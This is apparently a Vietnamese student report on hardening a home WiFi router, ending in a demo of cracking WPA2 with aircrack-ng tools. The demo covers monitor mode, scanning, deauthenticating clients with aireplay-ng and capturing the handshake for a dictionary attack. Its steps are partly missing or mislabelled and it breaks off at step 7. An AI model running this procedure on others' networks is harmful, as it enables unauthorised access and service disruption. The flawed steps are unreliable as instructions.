CHƯƠNG 5: CÁCH THỨC CÀI ĐẶT VÀ ĐẢM BẢO AN TOÀN CHO MẠNG WIFI GIA ĐÌNH
5.2.1 Bảo mật bộ định tuyến Wif
+ Luôn cập nhật phần mềm cơ sở của bộ định tuyến: Phần mềm cơ sở của bộ định tuyến không dây cũng như các phần mềm khác, nó chứa các lỗ hổng bảo mật và điều này có thể trở thành mối nguy hiểm lớn nếu như các lỗ hổng đó bị hacker khai thác. Vì vậy, bạn cần phải cập nhật phần mềm của chúng. Tuy nhiên nhiều bộ định tuyến không có tùy chọn tự động cập nhật phần mềm nên bạn phải thực hiện thủ công. Việc cập nhật phần mềm thường xuyên giúp vá lỗi phần mềm, tránh việc các hacker khai thác các lỗ hổng bảo mật
+ Truy cập và thay đổi cài đặt bộ định tuyến Wifi: Để thiết lập bộ định tuyến không đây, bạn thường truy cập vào một nền tảng hoặc trang web trực tuyến, từ đó bạn có thể thay đổi cài đặt mạng của mình
Bước 1: Truy cập bộ định tuyến với tư cách quản trị viên: Trước khi bắt đầu, hãy đảm bảo rằng bạn đã kết nối với bộ định tuyến của mình qua cáp Ethernet hoặc mạng không dây. Mở trình duyệt để truy cập chương trình cơ sở của bộ định tuyến. Nhập 192.168.0.1 hoặc 192.168.1.1 vào thanh URL-những thứ này sẽ hoạt động trong hầu hết các trường hợp. Nếu không, trước tiên bạn cần tìm địa chỉ IP của bộ định tuyến
Hình 9: Thay đổi mật khẩu bộ định tuyến
Bước 3: Thay đổi mật khẩu Wifi và SSID: Đặt một mật khẩu Wfi mạnh và chọn WPA2- PSK (AES) làm loại xác thực để bảo mật tốt nhất.
Hình 10: Đặt mật khẩu mạnh cho wifi
+ Vô hiệu hóa WPS (Wifi Protected Setup):
WPS là tính năng hỗ trợ kết nối mạng WiFi giữa các thiết bị thu và phát với nhau, nhưng lại bỏ qua bước phải nhập mật khẩu WiFi truyền thống. Với WPS được bật, bạn có thể kết nối bất kỳ thiết bị nào với bộ định tuyến của mình mà không cần mật khẩu hoặc ID của bộ định tuyến. Điều này có thể giúp bạn tiết kiệm thời gian kết nối các thiết bị mới và cho phép bạn kết nối các thiết bị dù bạn có nhớ mật khẩu bộ định tuyến hay không. Tuy nhiên, WPS cũng đi kèm với rủi ro bảo mật khá nghiêm trọng mà bạn không thể tránh khỏi. Khi WPS được bật, kẻ tấn công có thể đoán mật khẩu bộ định tuyến nhiều lần cho đến khi chúng tìm thấy mật khẩu chính xác. Nếu bạn chưa thực hiện các bước để cải thiện bảo mật bộ định tuyến, bộ định tuyến của bạn có thể đặc biệt dễ bị tấn công Vì thế bạn nên tắt WPS để bảo vệ mạng Wifi của bạn
Theo tiêu chuẩn IEEE 802.11, mỗi mạng không dây phải có số nhận dạng được thiết bị sử dụng để kết nối mạng được gọi là Service Set Identifier (SSID), nói một cách dễ hiểu gọi là tên mạng. Cứ khoảng 100 mili giây, các router sẽ phát ra beacon frame (khung báo hiệu), với chức năng truyền tín hiệu chứa thông tin về mạng, bao gồm SSID nhằm thông báo mạng này có tồn tại. Vậy nên, nếu bạn ngăn router thông báo về sự hiện diện của nó, thì các thiết bị điện tử khác sẽ không thấyvà khó để kết nối vào mạng đó. Tuy nhiên việc ẩn mạng sẽ không bổ sung bất kỳ lớp bảo mật nào cho mạng Wifi
Cách ẩn mạng Wifi
● Tại trình duyệt web, bạn đăng nhập vào địa chỉ IP với đường dẫn http://192.168.0.1 hoặchttp://192.168.1.1 hoặc chính xác hơn là bạn xem trên thiết bị router của bạn.
● Bạn nhập thông tin tài khoản và mật khẩu theo đúng thông tin được cung cấp trên thiết bị router hoặc trong sách hướng dẫn.
● Bạn hãy nhìn vào menu nhỏ ở góc bên trái, nhấp vào Wireless > Wireless Settings
● Tiếp theo, bạn tìm tùy chọn Enable SSID Broadcast và bỏ chọn nó, sau đó lưu lại.
Bây giờ mạng sẽ xuất hiện dưới dạng mạng ẩn và bạn sẽ phải nhập tên mạng theo các thủ công kết nối.
+ Bật tính năng lọc địa chỉ MAC
Trên một mạng không dây thông thường, bất kỳ thiết bị nào có thông tin đăng nhập thích hợp (biết SSID và mật khẩu) có thể xác thực với bộ định tuyến và tham gia mạng, nhận địa chỉ IP và truy cập internet và mọi tài nguyên được chia sẻ.
Lọc địa chỉ MAC thêm một lớp bổ sung cho quá trình này. Trước khi cho phép bất kỳ thiết bị nào tham gia vào mạng, router sẽ kiểm tra địa chỉ MAC của thiết bị dựa vào danh sách
các địa chỉ được chấp thuận. Nếu địa chỉ của khách hàng khớp với một địa chỉ trên danh sách của bộ định tuyến, quyền truy cập được cấp như bình thường; nếu không, nó bị chặn tham gia.
Để thiết lập lọc MAC trên bộ định tuyến, quản trị viên phải định cấu hình danh sách các thiết bị sẽ được phép tham gia. Địa chỉ vật lý của mỗi thiết bị được phê duyệt phải được tìm thấy và sau đó các địa chỉ đó cần được nhập vào bộ định tuyến và tùy chọn lọc địa chỉ MAC được bật.
Hầu hết các bộ định tuyến cho phép bạn xem địa chỉ MAC của các thiết bị được kết nối từ bảng điều khiển dành cho quản trị viên. Nếu không, bạn có thể sử dụng hệ điều hành của bạn để làm điều đó . Khi bạn đã có danh sách địa chỉ MAC, hãy vào cài đặt của bộ định tuyến và đặt chúng vào vị trí thích hợp của chúng.
Hình 12: Wlan MAC filter
Hầu hết các bộ định tuyến chỉ cho phép bạn truy cập giao diện của chúng từ một thiết bị được kết nối. Tuy nhiên, một số trong số chúng cho phép truy cập ngay cả từ các hệ thống từ xa. Sau khi bạn tắt quyền truy cập từ xa, các tác nhân độc hại sẽ không thể truy cập cài đặt quyền riêng tư của bộ định tuyến từ một thiết bị không được kết nối với mạng không dây của bạn. Để thực hiện thay đổi này, hãy truy cập giao diện web và tìm kiếm Quyền truy cập từ xa hoặc Quản trị từ xa.
Hình 13: Cấu hình quản lý từ xa
+ Kích hoạt tính năng bảo mật bổ sung cho bộ định tuyến:
- SPI Firewall (Stateful Packet Inspection Firewall): Tường lửa SPI ghi lại các định danh của tất cả các gói mà mạng của nó truyền và khi một gói đến cố gắng truy cập mạng, tường lửa có thể xác định xem đó có phải là phản hồi cho gói được gửi từ mạng của nó hay không nếu nó không được yêu cầu. Tường lửa SPI có thể sử dụng danh sách kiểm soát truy cập, cơ sở dữ liệu của các thực thể đáng tin cậy và đặc quyền truy cập mạng của họ. Tường lửa SPI có thể tham chiếu ACL khi xem xét kỹ lưỡng bất kỳ gói tin nào để xác định xem nó có đến từ một nguồn đáng tin cậy hay không và nếu có thì nó có thể được định tuyến trong mạng. Tường lửa SPI có thể được lập trình để thả bất kỳ gói tin nào được gửi từ các nguồn không được liệt kê trong ACL, giúp ngăn chặn cuộc tấn công từ chối dịch vụ, trong đó kẻ tấn công làm ngập mạng với lưu lượng truy cập đến trong nỗ lực làm mất tài nguyên của nó và kết xuất nó không thể đáp ứng các yêu cầu hợp pháp. Trang web của Netgear lưu ý trong bài viết "Bảo mật: So sánh NAT, Lọc nội dung tĩnh, SPI và Tường lửa" rằng tường lửa SPI cũng có thể kiểm tra các gói để biết các đặc điểm của các khai thác hack đã biết, như tấn công DoS và giả mạo IP, và thả bất kỳ gói tin nào mà nó nhận ra là có khả năng độc hại. - Mạng riêng ảo (VPN)
DEMO:
Phương pháp sử dụng wifite để tấn công từ điển vào mạng wifi bảo mật WPA2 Chuẩn bị:
● File từ điển password (có thể tải trên duckduckgo hoặc tạo file list cho mình)
Các bước thực hiện:
Bước 1: Kiểm tra card mạng hiện có trên máy:
airmon-ng
Tại đây chúng ta thấy máy hiện tại có mạng wlan0 đây chính là mạng wifi trên máy
Bước 2: Bật chế độ monitior cho card mạng :
Bước3 : Tiến hành scan để quét các mạng xung quanh
airodump-ng [tên card wifi]
Lưu 1 số thông tin cần thiết : Tên wifi(ESSID) : = ?? BSSID: = ??
CH(Kênh) : = ??
Bước 4: Tiến hành dò
airodump-ng -c [CH] –bssid [bssid cần dò] -w [Tên của wifi cần dò] [tên vlan đang bật monitor]
Bước 5: Mở thêm 1 cửa sở Terminal mới
aireplay-ng -0 30 -a [BSSID] [Tên card wifi]
Nếu bên cửa số 1 xuât hiệnWPA handshake thì ctrl + c để dừng lại
Bước 6: Lấy file chương trình tạo ra thường có tên: [Tên wifi].cab
Bước 7: Dùng 1 file tử điển đề do